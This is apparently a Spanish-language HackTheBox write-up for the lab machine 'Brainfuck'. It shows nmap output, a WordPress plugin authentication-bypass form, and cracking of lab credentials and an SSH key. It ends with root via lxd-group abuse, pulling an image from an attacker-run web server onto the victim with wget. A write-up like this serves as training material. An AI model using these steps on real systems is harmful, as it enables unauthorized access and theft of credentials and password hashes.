# Brainfuck WriteUp Hola a todos este es mi primer writeup sobre alguna caja de HackTheBox para la comunidad de habla hispana, solamente subiré aquellas máquinas que me gustaron y que no me dieron flojera al hacer los writeups :v ## Información General ![](https://i.imgur.com/2BLIJAc.png) Nmap scan: ``` # Nmap 7.91 scan initiated Thu Feb 25 17:07:35 2021 as: nmap -sC -sV -p22,25,110,143,443 -vv -Pn -oN nmap/brainfuck.nmap 10.10.10.17 Nmap scan report for 10.10.10.17 Host is up, received user-set (0.13s latency). Scanned at 2021-02-25 17:07:36 -05 for 53s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUvFkWE1DxJj4OsU4DiVLjkxYV2a9pSlMS/78hpx0IejJaFilgNb+RFCyfyhIw5NvsZB6hZiNL0vPDh+MscPd75heIIgx9mczfamsrA2KODdkdgUJPCBWUnF9/VhYQhJpGvo4f6lAwLz7wnmcjhiXencMNkZcweADi5aK0Xp6iFxYcwx6+qy0891gQ5TnVVazkDJNA+QMUamxJRm1tQN5dp/+TeBecWJH2AxQFXsM4wPkIFaE0GsKvYDmGyfy1YL/Gn5IxEqVrhIEYkDH4BQsbvORNueOtJKHoys7EhPF+STpx6ZAXS6AXhS/nJMz6EvubzeGqfBOaDIZN9u5JuCdf | 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCJcOJZuuBlw9xDXy+VPpezMomPfySGOjABaxw02cmRifvzWE57mh1hlQD6z44IF1lsuW9E2NNH4xB4d8U0O5b0= | 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOokdEAUqLEqEuY1CHNJ2xaDU+L+/0qb3XZO8UIZfrju 25/tcp open smtp syn-ack ttl 63 Postfix smtpd |_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 110/tcp open pop3 syn-ack ttl 63 Dovecot pop3d |_pop3-capabilities: UIDL SASL(PLAIN) PIPELINING USER TOP RESP-CODES AUTH-RESP-CODE CAPA 143/tcp open imap syn-ack ttl 63 Dovecot imapd |_imap-capabilities: LITERAL+ SASL-IR IMAP4rev1 more ID capabilities post-login have ENABLE listed Pre-login OK LOGIN-REFERRALS AUTH=PLAINA0001 IDLE 443/tcp open ssl/http syn-ack ttl 63 nginx 1.10.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.10.0 (Ubuntu) |_http-title: Welcome to nginx! | ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/emailAddress=orestis@brainfuck.htb/localityName=Athens/organizationalUnitName=IT | Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb | Issuer: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/emailAddress=orestis@brainfuck.htb/localityName=Athens/organizationalUnitName=IT | Public Key type: rsa | Public Key bits: 3072 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2017-04-13T11:19:29 | Not valid after: 2027-04-11T11:19:29 | MD5: cbf1 6899 96aa f7a0 0565 0fc0 9491 7f20 | SHA-1: f448 e798 a817 5580 879c 8fb8 ef0e 2d3d c656 cb66 | -----BEGIN CERTIFICATE----- | MIIFQzCCA6ugAwIBAgIJAI24F5h8eY+HMA0GCSqGSIb3DQEBCwUAMIGTMQswCQYD | VQQGEwJHUjEPMA0GA1UECAwGQXR0aWNhMQ8wDQYDVQQHDAZBdGhlbnMxFzAVBgNV | BAoMDkJyYWluZnVjayBMdGQuMQswCQYDVQQLDAJJVDEWMBQGA1UEAwwNYnJhaW5m | dWNrLmh0YjEkMCIGCSqGSIb3DQEJARYVb3Jlc3Rpc0BicmFpbmZ1Y2suaHRiMB4X | DTE3MDQxMzExMTkyOVoXDTI3MDQxMTExMTkyOVowgZMxCzAJBgNVBAYTAkdSMQ8w | DQYDVQQIDAZBdHRpY2ExDzANBgNVBAcMBkF0aGVuczEXMBUGA1UECgwOQnJhaW5m | dWNrIEx0ZC4xCzAJBgNVBAsMAklUMRYwFAYDVQQDDA1icmFpbmZ1Y2suaHRiMSQw | IgYJKoZIhvcNAQkBFhVvcmVzdGlzQGJyYWluZnVjay5odGIwggGiMA0GCSqGSIb3 | DQEBAQUAA4IBjwAwggGKAoIBgQCjBI0m6FWgcLYONyxVeMgc+PuTFJMnMUjMb8BF | t0PIDSCt10grCCfzBNDIqfU9byiokyYVvvD+sRoWJQfMjd3I3NXMxHwpcLM6X9oR | Twt1iBBJRQkTnHOs1hyCmkiM+kn2W1xdL+mwBylAUlvUReLIDdS5anE7u95ApWsD | TTUt/mMUl1DwnCqrNkt3czQzCNfCIwIhbaLjsoXsiVo1fFEr6UpsyiaXad9eTTsl | EF9k3rByXrmP1WrkaFLqGhqS4v+rYtsyKGPngjAB664aAvB2sSI0/EuOTa7WOPcV | NP3Tga+zx55qXPeo6nqCttOlAKKwiZqba5AgDAjSFdB6Q60dghWSuRYU999Ku6zA | DdwP0BoT5+kcZJENY7wx1uzysSMrtCoi8E6bfx42UwNQe/UCDDXErXat90hTB+vV | h2vaSdyR0tz3w1iIHBZH5/3rY3f+LyfE9fSg2TbGFgZNDq6O/iykVWb9SG+tl1fA | RB208Y1/mOw0+84G9RIjLVMLb0kCAwEAAaOBlzCBlDAdBgNVHQ4EFgQUj12KscJg | /6gSHzm+kzSN/psvik8wHwYDVR0jBBgwFoAUj12KscJg/6gSHzm+kzSN/psvik8w | DAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCBeAwNwYDVR0RBDAwLoIRd3d3LmJyYWlu | ZnVjay5odGKCGXN1cDNyczNjcjN0LmJyYWluZnVjay5odGIwDQYJKoZIhvcNAQEL | BQADggGBAJ11TuRhhSQfq5NHXU5fV5VkCOPUx3yKsWjt93Qm8WDD2rJcZAq8jW59 | NHDWhzDlKZMyNYv8gKJ8k6HuG3f20yeifKZulGw/YsY6dDtTzO+tooBqzjWb9irh | bpMIVXv1xBSuz+f5YGdzpvlMK/Ltt1nEQNjKXaTnjy7OGfp4isMZCzBZeKAKnjdn | +s6TgFrFA94B56naXNaNLHvv9WcFKviwDTP2PtDz0fc9hbnZz8oxE5Q6/l50NGUK | 6bGCVIjDJfM/SsWPLHb4J6chkJxlZZLmpid+s5PsKSdY0ZZ1Oxb20O2mla77hDSJ | d43t/sZRBwWPEWxAHUR8Dj5pcrbCFyi57Qu4ENc5w7H0RhRyd0/OWs6ahn2ef4Qy | DSWfdpd5CVBGdSLVlVSjzLcBDmWuyy8q5CTgJ3VzIzOreg93F2mVAF+tlNZRX9rc | dFjsS0lwXWRZqd6642VuAtf4HoAFBh9PfBtUx+t1DxCXyY7OTwnvMsnNFg9fw11v | krhc81zFeg== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 | tls-nextprotoneg: |_ http/1.1 Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Feb 25 17:08:29 2021 -- 1 IP address (1 host up) scanned in 54.97 seconds ``` ## User Podemos ver un servidor smtp (correo electrónico), un https 443 y ssh. Además podemos ver dos dominios apuntando: `brainfuck.htb` y `sup3rs3cr3t.brainfuck.htb` Desde wappalyzer vi que hay un wordpress ejecutándose... Enumerando usuarios a través de https y abusando de complementos vulnerables: ```sh # wpscan --url https://brainfuck.htb/ --disable-tls-checks -e u ``` ``` [i] User(s) Identified: [+] admin | Found By: Author Posts - Display Name (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] administrator | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) ``` Next we search from a PoC or an exploit for WP Support Ticket Plus (or something like that) we use a Privesc PoC we use a custim form pointing to an user in action to wp-admin/admin-ajax.php: ```html <form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php"> Username: <input type="text" name="username" value="admin"> <input type="hidden" name="email" value="orestis@brainfuck.htb"> <input type="hidden" name="action" value="loginGuestFacebook"> <input type="submit" value="Login"> </form> ``` Observe que cambié el nombre de usuario y el valor del correo electrónico a admin y oresits@brainfuck.htb y lo usé, primero configuramos un servidor HTTP simple: ```sh python3 -m http.server 8000 ``` Luego iniciamos sesión y hacemos clic en el botón de inicio de sesión, luego actualiza brainfuck.htb y ¡whoala! Ahora puedo ver el panel de administración. Pasé algún tiempo probando la inyección de código en temas o cargando un complemento malvado, pero no funcionó. Luego recuerdo el smtp y busqué en google smtp en wordpress y obtuve el resultado de la configuración de administrador de Easy SMTP wordpress y obtuve un crédito: ` orestis@brainfuck.htb: kHGuERB29DNiNE` Utilizo evolution para configurar un smtp porque es el primer cliente de correo electrónico que aprendí, después de configurar todo, encontré un correo electrónico con algunos créditos para el foro `sup3rs3cr3t.brainfuck.htb`: from root@brainfuck.htb: Hi there, your credentials for our "secret" forum are below :) username: orestis password: kIEnnfEKJ#9UmdO Regards Inicie sesión con ese usuario y vea algunas publicaciones e hilos con uno interesante y este estaba encriptado, realmente pasé tantos nuestros tratando de descifrar y algún amigo me dio una pista y puedo descifrar el código vigenere con éxito. Texto encriptado: Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :) mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr Llave para la desencriptación: `FUCKMYBRAIN` Ahora tenemos una clave id_rsa pero necesitamos una frase de contraseña para usarla. Podemos sacar el hash del passphrase con ssh2hohn.py y luego usamos john y estamos dentro. ``` # ssh2john.py id_rsa > root_hash.txt # john --wordlist=/usr/share/wordlist/rockyou.txt root_hash.txt ``` ## Root Primero que nada hacemos una enumeración basica sobre qué permisos tenemos y vemos que pertencemos al grupo lxc. Pasos para el privesc: 1. Haz una imagen alpine en tu máquina de ataque, recomiendo ditrobuilder para eso. El proceso de instalación se encuentra en su github oficial en el siguiente url https://github.com/lxc/distrobuilder Comandos usados para crear la imagen de alpine: ```sh // Primero descargamos el archivo de configuración .yaml de la imagen: # wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml // Construimos la imagen: # $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8 ``` Después se nos crearan 2 archivos, __lxd.tar.xz__ y __rootfs.squashfs__. 2. Descargue la imagen y el archivo raíz en la máquina víctima, para esto pueden usar un servidor web python y wget en la maquina victima. ```sh // Servidor en máquina local # python3 -m http.server 8000 // Descarga en máquina víctima $ wget http://10.10.14.21:8000/lxd.tar.xz $ wget http://10.10.14.21:8000/rootfs.squashfs ``` 4. Luego importe la imagen que monta el directorio raíz en la partición /mnt/ de la imagen alpine. ```sh $ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine $ lxc init alpine privesc -c security.privileged=true $ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` 6. Ejecute un shell en alpine, vaya a /mnt/root/root/ y podrá ver el root.txt ```sh $ lxc start privesc $ lxc exec privesc /bin/sh # cat /mnt/root/root/root.txt ``` También podemos ver todos los archivos de la máquina y robar los hashes de los usuarios en */etc/shadow* para descifrar las contraseñas. Gracias por leer y no olviden el respect. [@retr023](https://app.hackthebox.eu/profile/207457)